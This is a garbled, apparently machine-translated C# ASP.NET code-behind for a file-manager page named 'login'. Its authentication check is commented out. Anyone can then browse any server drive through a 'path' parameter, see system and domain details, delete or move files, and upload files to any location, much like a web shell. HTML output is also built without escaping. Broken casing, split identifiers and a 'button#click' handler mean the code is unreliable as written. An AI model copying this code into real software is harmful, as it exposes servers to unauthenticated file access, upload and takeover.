Using system;
Using system. collections;
Using system. componentmodel;
Using system. Data;
Using system. drawing;
Using system. Web;
Using system. Web. sessionstate;
Using system. Web. UI;
Using system. Web. UI. webcontrols;
Using system. Web. UI. htmlcontrols;
Using system. IO;
Namespace filemanage2
{
/// <Summary>
/// Login summary.
/// </Summary>
Public class login: system. Web. UI. Page
{
Protected system. Web. UI. webcontrols. Label label1;
Protected system. Web. UI. webcontrols. Label label3;
Protected system. Web. UI. webcontrols. Label label4;
Protected system. Web. UI. webcontrols. Table Table1;
Protected system. Web. UI. webcontrols. Button button1;
Protected system. Web. UI. webcontrols. Label label2;
Protected system. Web. UI. webcontrols. Label label6;
Protected system. Web. UI. webcontrols. Label label5;
Protected system. Web. UI. webcontrols. Label label7;
Protected system. Web. UI. htmlcontrols. htmlinputfile myfile;
Private void page_load (Object sender, system. eventargs E)
{
// Place user code here to initialize the page
If (! This. ispostback)
{
/// If (session ["smallfools_filemanage"]! = NULL)
////{
// If (session ["smallfools_filemanage"]. tostring ()! = "Pass ")
//{
// Response. Redirect ("index. aspx ");
//}
// Else
//{
Listfile ();
//}
//}
// Else
//{
// Response. Redirect ("index. aspx ");
//}
}
}
Private void listfile ()
{
// Receiving path
String strpath = request. querystring ["path"];
// System identifier and version number
String strsystem = environment. osversion. tostring ();
// Obtain the amount of physical memory mapped to the process context
String strrem = environment. workingset. tostring ();
// Obtain the number of milliseconds after the system is started
Int ITC = environment. tickcount/60000;
// Fully qualified path of the system directory
String strsd = environment. systemdirectory;
// Obtain the NetBIOS Name of the Local Computer
String strmn = environment. machinename;
// Obtain the network domain name associated with the current user
String strudn = environment. userdomainname;
This. label5.text = "system:" + strsystem;
This. label6.text = "available memory:" + strrem;
This. label7.text = "since the last restart:" + ITC + "Minutes ";
This. label7.text = This. label7.text + "<br> System Path: <a href = 'login. aspx? Path = "+ strsd +" '> "+ strsd +" </a> ";
This. label7.text = This. label7.text + "<br> Computer Name:" + strmn;
This. label7.text = This. label7.text + "<br> network domain name:" + strudn;
// Obtain the current path if the received path is null
If (strpath = NULL)
{
Strpath = request. servervariables ["appl_physical_path"];
}
Else
{
If (strpath. substring (strpath. Length-1, 1 )! = "\\")
{
Strpath = strpath + "\\";
}
}
This. label1.text = "When Directory:" + strpath;
Try
{
// Output all drive letters
String [] DRV = system. Io. Directory. getlogicaldrives ();
This. label3.text = "drive :";
For (INT I = 0; I <DRV. Length-1; I ++)
{
This. label3.text = This. label3.text + "<a href = 'login. aspx? Path = "+ DRV [I] +" '> "+ DRV [I] +" </a> ";
}
// All folders in the current directory
Directoryinfo di = new directoryinfo (strpath );
Directoryinfo [] WJJ = Di. getdirectories ();
// Parent directory
If (strpath. substring (strpath. Length-2, 2 )! = ":\\")
{
String [] AA = strpath. Split ('\\');
String BB = "";
For (INT I = 0; I <AA. Length-2; I ++)
{
If (I = 0)
{
BB = AA [I];
}
Else
{
BB = BB + "\" + AA [I];
}
}
This. label4.text = "<br> <a href = 'login. aspx? Path = "+ BB +" '> parent directory:... </a> ";
}
// Output all folders in the current directory
Foreach (directoryinfo ditemp in WJJ)
{
Tablerow TR = new tablerow ();
// Tr. backcolor = colortranslator. fromhtml ("# dddddd ");
Tr. Attributes. Add ("class", "folder ");
Tr. Attributes. Add ("onmouseover", "This. classname = '2 '");
Tr. Attributes. Add ("onmouseout", "This. classname = 'folder '");
Tablecell TD = new tablecell ();
// Folder name
TD = new tablecell ();
TD. Text = "<a href = 'login. aspx? Path = "+ strpath + ditemp. Name +" '> "+ ditemp. Name +" </a> ";
Tr. cells. Add (TD );
// Empty column
TD = new tablecell ();
Tr. cells. Add (TD );
// Attributes
TD = new tablecell ();
TD. TEXT = ditemp. attributes. tostring (). replace ("ARCHIVE", "ARCHIVE "). replace ("COMPRESSED", "COMPRESSED "). replace ("device", "retain "). replace ("directory", "directory "). replace ("encrypted", "encrypted "). replace ("hidden", "hide "). replace ("normal", "normal "). replace ("notcontentindexed", "non-index "). replace ("offline", "offline "). replace ("readonly", "read-only "). replace ("reparsepoint", "re-analysis point "). replace ("sparsefile", "sparse "). replace ("system", "system "). replace ("temporary", "temporary ");
Tr. cells. Add (TD );
// Creation Time
TD = new tablecell ();
TD. Text = ditemp. creationtime. tostring ();
Tr. cells. Add (TD );
// Last access time
TD = new tablecell ();
TD. Text = ditemp. lastaccesstime. tostring ();
Tr. cells. Add (TD );
// Last modification time
TD = new tablecell ();
TD. Text = ditemp. lastwritetime. tostring ();
Tr. cells. Add (TD );
// Delete
String strback = strpath + ditemp. Name;
Strback = strback. Replace ("\\","\\\\");
TD = new tablecell ();
TD. Text = "<a href = # onclick = \" javascript: delfolder ('"+ strback +"') \ "> Delete </a> ";
TD. horizontalalign = horizontalalign. Center;
Tr. cells. Add (TD );
// Move or rename
TD = new tablecell ();
TD. Text = "<a href = # onclick = \" javascript: movefolder ('"+ strback +"') \ "> move/rename </a> ";
TD. horizontalalign = horizontalalign. Center;
Tr. cells. Add (TD );
This. table1.rows. Add (TR );
}
// All files in the current directory
Fileinfo [] Fi = Di. getfiles ();
Foreach (fileinfo fitemp in FI)
{
Tablerow TR = new tablerow ();
// Tr. backcolor = colortranslator. fromhtml ("# eeeeee ");
Tr. Attributes. Add ("class", "file ");
Tr. Attributes. Add ("onmouseover", "This. classname = '2 '");
Tr. Attributes. Add ("onmouseout", "This. classname = 'file '");
Tablecell TD = new tablecell ();
// File name
TD = new tablecell ();
TD. Text = "<a href = 'read. aspx? Path = "+ strpath + fitemp. name + "'target = _ blank> <font color = #000000>" + fitemp. name + "</font> </a> ";
Tr. cells. Add (TD );
// Size
TD = new tablecell ();
TD. Text = fitemp. length. tostring ();
TD. horizontalalign = horizontalalign. Right;
Tr. cells. Add (TD );
// Attributes
TD = new tablecell ();
TD. TEXT = fitemp. attributes. tostring (). replace ("ARCHIVE", "ARCHIVE "). replace ("COMPRESSED", "COMPRESSED "). replace ("device", "retain "). replace ("directory", "directory "). replace ("encrypted", "encrypted "). replace ("hidden", "hide "). replace ("normal", "normal "). replace ("notcontentindexed", "non-index "). replace ("offline", "offline "). replace ("readonly", "read-only "). replace ("reparsepoint", "re-analysis point "). replace ("sparsefile", "sparse "). replace ("system", "system "). replace ("temporary", "temporary ");
Tr. cells. Add (TD );
// Creation Time
TD = new tablecell ();
TD. Text = fitemp. creationtime. tostring ();
Tr. cells. Add (TD );
// Last access time
TD = new tablecell ();
TD. Text = fitemp. lastaccesstime. tostring ();
Tr. cells. Add (TD );
// Last modification time
TD = new tablecell ();
TD. Text = fitemp. lastwritetime. tostring ();
Tr. cells. Add (TD );
// Delete
String strback = strpath + fitemp. Name;
Strback = strback. Replace ("\\","\\\\");
TD = new tablecell ();
TD. Text = "<a href = # onclick = \" javascript: delfile ('"+ strback +"') \ "> Delete </a> ";
TD. horizontalalign = horizontalalign. Center;
Tr. cells. Add (TD );
// Move or rename
TD = new tablecell ();
TD. Text = "<a href = # onclick = \" javascript: movefile ('"+ strback +"') \ "> move/rename </a> ";
TD. horizontalalign = horizontalalign. Center;
Tr. cells. Add (TD );
This. table1.rows. Add (TR );
}
}
Catch (exception ex)
{
This. button1.visible = false;
This. myfile. Visible = false;
This. label2.text = "<br> <p align = center>" + ex. Message + "</P> ";
}
}
# Region web form designer generated code
Override protected void oninit (eventargs E)
{
//
// Codegen: This call is required by the ASP. NET web form designer.
//
Initializecomponent ();
Base. oninit (E );
}
/// <Summary>
/// The designer supports the required methods-do not use the code editor to modify
/// Content of this method.
/// </Summary>
Private void initializecomponent ()
{
This. button1.click + = new system. eventhandler (this. button#click );
This. Load + = new system. eventhandler (this. page_load );
}
# Endregion
Private void button#click (Object sender, system. eventargs E)
{
If (this. myfile. postedfile! = NULL)
{
// Receiving path
String strpath = request. querystring ["path"];
// Obtain the current path if the received path is null
If (strpath = NULL)
{
Strpath = request. servervariables ["appl_physical_path"];
}
Else
{
If (strpath. substring (strpath. Length-1, 1 )! = "\\")
{
Strpath = strpath + "\\";
}
}
// Process the string
String strname = This. myfile. postedfile. filename;
Int I = strname. lastindexof ("\\");
String strnewname = strname. substring (I );
String strfullname = strpath + strnewname;
// Save the file
This. myfile. postedfile. saveas (strfullname );
// Response. Redirect ("index. aspx? Path = "+ strpath );
This. label2.text = "<center> <font color = Red> upload successful </font> </center> ";
Listfile ();
}
}
}
}
Certificate --------------------------------------------------------------------------------------------------------------------------------------